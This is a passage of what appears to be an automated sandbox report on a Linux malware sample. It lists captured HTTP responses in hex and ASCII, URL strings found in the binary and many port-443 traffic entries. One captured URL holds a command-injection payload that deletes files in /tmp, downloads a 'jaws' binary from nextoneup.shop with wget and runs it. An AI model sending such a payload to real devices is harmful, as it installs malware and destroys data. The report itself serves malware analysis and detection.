68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 64 6f 63 6b 65 72 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 31 3a 34 37 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</td></tr><tr><td>Server:</td><td>docker</td></tr><tr><td>Date:</td><td>2024/04/14 10:01:47</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:47 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveserver: KS-COMPASSCache-Control: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:49 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveserver: KS-COMPASSCache-Control: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:49 GMTServer: ApacheX-Frame-Options: SAMEORIGINLast-Modified: Mon, 23 Mar 2020 06:02:46 GMTETag: "434-5a17f6251cd80"Accept-Ranges: bytesContent-Length: 1076Keep-Alive: timeout=2, max=300Connection: Keep-AliveContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 20 e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 81 be e3 81 99 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 7a 65 6e 6c 6f 67 69 63 5f 70 61 67 65 73 2f 63 73 73 2f 64 65 66 61 75 6c 74 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 6f 74 6e 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 73 2d 69 6e 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 64 65 2d 62 6c 6f 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 52 52 4f 52 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 65 73 73 61 67 65 2d 68 65 61 64 69 6e 67 22 3e e6 8c 87 e5 ae 9a e3 81 95 e3 82 8c e3 81 9f e3 83 9a e3 83 bc e3 82 b8 e3 81 be e3 81 9f e3 81 af e3 83 95 e3 82 a1 e3 82 a4 e3 83 ab e3 81 b8 e3 81 ae e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 81 be e3 81 99 e3 80 82 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 6d 65 73 73 61 67 65 2d 74 78 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e e3 83 bb e6 99 82 e9 96 93 e3 82 92 e7 bd ae e3 81 84 e3 81 a6 e5 86 8d e5 ba a6 e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 97 e3 81 a6 e3 81 bf e3 81 a6 e3 81 8f e3 81 a0 e3 81 95 e3 81 84 e3 80 82 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e e3 83 bb e5 a4 96 e9 83 a8 e3 81 8b e3 82 89 e3 81 ae e3 82 a2 e3 82 af e3 82 bb e3 82 b9 e3 81 8c e7 a6 81 e6 ad a2 e3 81 95 e3 82 8c e3 81 a6 e3 81 84 e3 82 8b e5 a0 b4 e5 90 88 e3 81 8c e3 81 82 e3 82 8a e3 81 be e3 81 99 e3 80 82 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:49 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:49 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Sun, 14 Apr 2024 07:22:25 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:50 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:52 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveserver: KS-COMPASSCache-Control: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:53 GMTServer: Apache/2.4.52 (Unix) OpenSSL/1.0.2k-fips PHP/7.3.33Content-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:53 GMTServer: Apache/2.4.52 (Ubuntu)Cache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=2FxrCyMWNdApfawEA6axuUN92OJmAzlAib1TNWAx; expires=Sun, 14-Apr-2024 04:01:54 GMT; Max-Age=7200; path=/Set-Cookie: audiologger_session=6f60s45dT6xFs6I56cCCK9SOiwdYLExMvWKr40QM; expires=Sun, 14-Apr-2024 04:01:54 GMT; Max-Age=7200; path=/; httponlyKeep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 65 33 31 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 32 46 78 72 43 79 4d 57 4e 64 41 70 66 61 77 45 41 36 61 78 75 55 4e 39 32 4f 4a 6d 41 7a 6c 41 69 62 31 54 4e 57 41 78 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 69 6c 65 2d 62 61 73 65 2d 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 70 75 62 6c 69 63 2f 22 3e 0d 0a 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 64 69 6f 4c 6f 67 67 65 72 20 7c 20 4c 50 50 20 52 52 49 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 63 68 65 6d 61 2e 6f 72 67 20 6d 61 72 6b 75 70 20 66 6f 72 20 47 6f 6f 67 6c 65 2b 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 70 75 62 6c 69 63 2f 61 73 Data Ascii: e318<!DOCTYPE html><html lang="id"><head> <meta name="csrf-token" content="2FxrCyMWNdApfawEA6axuUN92OJmAzlAib1TNWAx"> <meta name="app-url" content="//127.0.0.1:80/"> <meta

Source: VkiGKeyI3L.elf	String found in binary or memory: http://nextoneup.shop/
Source: VkiGKeyI3L.elf	String found in binary or memory: http://nextoneup.shop/bin
Source: VkiGKeyI3L.elf	String found in binary or memory: http://nextoneup.shop/jaws;sh
Source: VkiGKeyI3L.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: VkiGKeyI3L.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45384
Source: unknown	Network traffic detected: HTTP traffic on port 59024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37756
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56046
Source: unknown	Network traffic detected: HTTP traffic on port 48366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45378
Source: unknown	Network traffic detected: HTTP traffic on port 38678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45376
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56052
Source: unknown	Network traffic detected: HTTP traffic on port 46058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56050
Source: unknown	Network traffic detected: HTTP traffic on port 34190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46698
Source: unknown	Network traffic detected: HTTP traffic on port 54024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56066
Source: unknown	Network traffic detected: HTTP traffic on port 52174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 59126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44026
Source: unknown	Network traffic detected: HTTP traffic on port 44210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46688
Source: unknown	Network traffic detected: HTTP traffic on port 41848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44024
Source: unknown	Network traffic detected: HTTP traffic on port 56422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50768
Source: unknown	Network traffic detected: HTTP traffic on port 40064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46682
Source: unknown	Network traffic detected: HTTP traffic on port 39190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37722
Source: unknown	Network traffic detected: HTTP traffic on port 45076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 42372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 48952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48456
Source: unknown	Network traffic detected: HTTP traffic on port 36232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 37938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35138
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59996
Source: unknown	Network traffic detected: HTTP traffic on port 33450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41812
Source: unknown	Network traffic detected: HTTP traffic on port 35872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60976
Source: unknown	Network traffic detected: HTTP traffic on port 49120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48446
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 59482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50706
Source: unknown	Network traffic detected: HTTP traffic on port 33106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56012
Source: unknown	Network traffic detected: HTTP traffic on port 38474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35132
Source: unknown	Network traffic detected: HTTP traffic on port 32938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35130
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47104
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47100
Source: unknown	Network traffic detected: HTTP traffic on port 45854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57348
Source: unknown	Network traffic detected: HTTP traffic on port 42716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56020
Source: unknown	Network traffic detected: HTTP traffic on port 36244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44064
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56032
Source: unknown	Network traffic detected: HTTP traffic on port 41530 -> 443
